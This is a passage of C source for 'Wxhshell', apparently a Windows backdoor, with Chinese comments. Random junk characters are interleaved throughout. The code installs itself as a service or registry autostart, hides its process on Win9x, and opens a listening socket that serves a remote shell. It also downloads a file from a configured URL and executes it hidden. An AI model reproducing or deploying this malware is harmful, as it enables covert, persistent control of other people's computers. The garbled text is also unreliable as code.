HL*: HMODULE hMod; ]~!?(d!J/ char procName[255]; Al-;-t#Dc unsigned long cbNeeded; PT/TQW '2X6>6`w if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :Y)jf n4%ZR~9WH CloseHandle(hProcess); $vjl-1x& MIF`|3$, if(strstr(procName,"services")) return 1; // 以服务启动 vA"MTncv bpp{Z1/4 return 0; // 注册表启动 K}e:zR;;^ } X" m0|| E8LA+dKN: // 主模块 F(}~~EtPHo int StartWxhshell(LPSTR lpCmdLine) ;:DDz { QMAineO SOCKET wsl; OPe3p {] BOOL val=TRUE; )oAx t70 int port=0; lNRGlTD% struct sockaddr_in door; SR8)4:aKW Q!*}^W if(wscfg.ws_autoins) Install(); -'%>Fon F)n^pT port=atoi(lpCmdLine); g:rjt1w`D F :p9y_W if(port<=0) port=wscfg.ws_port; =&~7Q" d":GsI?3 WSADATA data; U_[<,JE if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; l2Pry'3 aP&bW))CI if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 8gn12._x setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7H!/et?S, door.sin_family = AF_INET; PXrv2q[5? door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;eY.4/*R door.sin_port = htons(port); !> 2kH E>I\m!ue if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )Bw}T closesocket(wsl); rZ#ZY return 1; J1UG},-h } 50jZu'z: )Gm,%[?2C if(listen(wsl,2) == INVALID_SOCKET) { M)6iYA%$ closesocket(wsl); ic;M=dsh: return 1; OC=g 1 } zN3b`K. i Wxhshell(wsl); X%rsa7H3J WSACleanup(); euiP<[|h= !fmbm4!a
return 0; j/p1/sJ[y PX/7 :D? } %iR"eEE a${<~M
hm // 以NT服务方式启动 ^gSZzJ5 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $+ { i9koh3R\ DWORD status = 0; 'B\7P*L"p DWORD specificError = 0xfffffff; j@u]( nf vN9R.R serviceStatus.dwServiceType = SERVICE_WIN32; cMK}BHOC serviceStatus.dwCurrentState = SERVICE_START_PENDING; U-U"RC> serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /P%OXn$i/ serviceStatus.dwWin32ExitCode = 0; 5_7y 1 serviceStatus.dwServiceSpecificExitCode = 0; WRov7 serviceStatus.dwCheckPoint = 0; [jEZ5]% serviceStatus.dwWaitHint = 0; iu.v8I;< B?
Z_~Bf& hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9T#${NK if (hServiceStatusHandle==0) return; %EH{p@nM&- ~YRG9TK status = GetLastError(); W+Q^u7K if (status!=NO_ERROR) SxI-pH' { kt2W7.A5 serviceStatus.dwCurrentState = SERVICE_STOPPED; zI,z <- serviceStatus.dwCheckPoint = 0; <BiSx serviceStatus.dwWaitHint = 0; V|&->9" serviceStatus.dwWin32ExitCode = status; SceK$ serviceStatus.dwServiceSpecificExitCode = specificError; b[KZJLZ) SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,n3e8qd return; e);`hNLih } Z^!%
b Fs(FI\^ serviceStatus.dwCurrentState = SERVICE_RUNNING; 0fzHEL serviceStatus.dwCheckPoint = 0; y|/[; serviceStatus.dwWaitHint = 0; 1I?`3N if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2h:{6Gq8 } D/YMovH% ?[<#>,W // 处理NT服务事件,比如:启动、停止 yu>)[|- VOID WINAPI NTServiceHandler(DWORD fdwControl) oJ?,X^~_ { < Dt/JA(p switch(fdwControl) U'aJCM { = glF6a case SERVICE_CONTROL_STOP: V}X>~ '% serviceStatus.dwWin32ExitCode = 0; *3\*GatJ serviceStatus.dwCurrentState = SERVICE_STOPPED; FrC)2wX serviceStatus.dwCheckPoint = 0; P W_"JZ serviceStatus.dwWaitHint = 0; `gAW5 i-z5 { Z`<5SHQd SetServiceStatus(hServiceStatusHandle, &serviceStatus); bH.SUd) } UZpQ%~/ return; v\o
m case SERVICE_CONTROL_PAUSE: ezb*tN! serviceStatus.dwCurrentState = SERVICE_PAUSED; Ao+6^z_ break; R} X"di case SERVICE_CONTROL_CONTINUE: `a `>Mtl serviceStatus.dwCurrentState = SERVICE_RUNNING; yV*jc`1
break; |Iknk, case SERVICE_CONTROL_INTERROGATE: kvG.?^ v break; {l"(EeW6) }; *,|x
p SetServiceStatus(hServiceStatusHandle, &serviceStatus); zY9CoadZ } zygH-3C7o f?$yxMw:@ // 标准应用程序主函数 9ZNzC
i! int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &=]!8z= { :nOI|\rC [,3E#+y // 获取操作系统版本 q|V|Jl OsIsNt=GetOsVer(); {)(Mkm+d GetModuleFileName(NULL,ExeFile,MAX_PATH); lAR1gHhJ )#8}xAjV // 从命令行安装 mUy>w if(strpbrk(lpCmdLine,"iI")) Install(); d uP0US NvC @ // 下载执行文件 $zM \Jd if(wscfg.ws_downexe) { (&SPMhs_|( if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) RzU9]e WinExec(wscfg.ws_filenam,SW_HIDE); :{
iK 5 } NL,6<ZOon, _Q 'f^Kj if(!OsIsNt) { {n&GZG"f // 如果时win9x,隐藏进程并且设置为注册表启动 @?>5~ HideProc(); W_6gV StartWxhshell(lpCmdLine); %l,CJd5 } 7K ~)7U else pk`5RDBu if(StartFromService()) 6L rI,d // 以服务方式启动 *R}p9;dpO StartServiceCtrlDispatcher(DispatchTable); ]ddH>y&o else V-3;7 // 普通方式启动 Cp+tcrd_s StartWxhshell(lpCmdLine); Fi/`3A@68 'P*OzZ4>$ return 0; A'$>~Ev }
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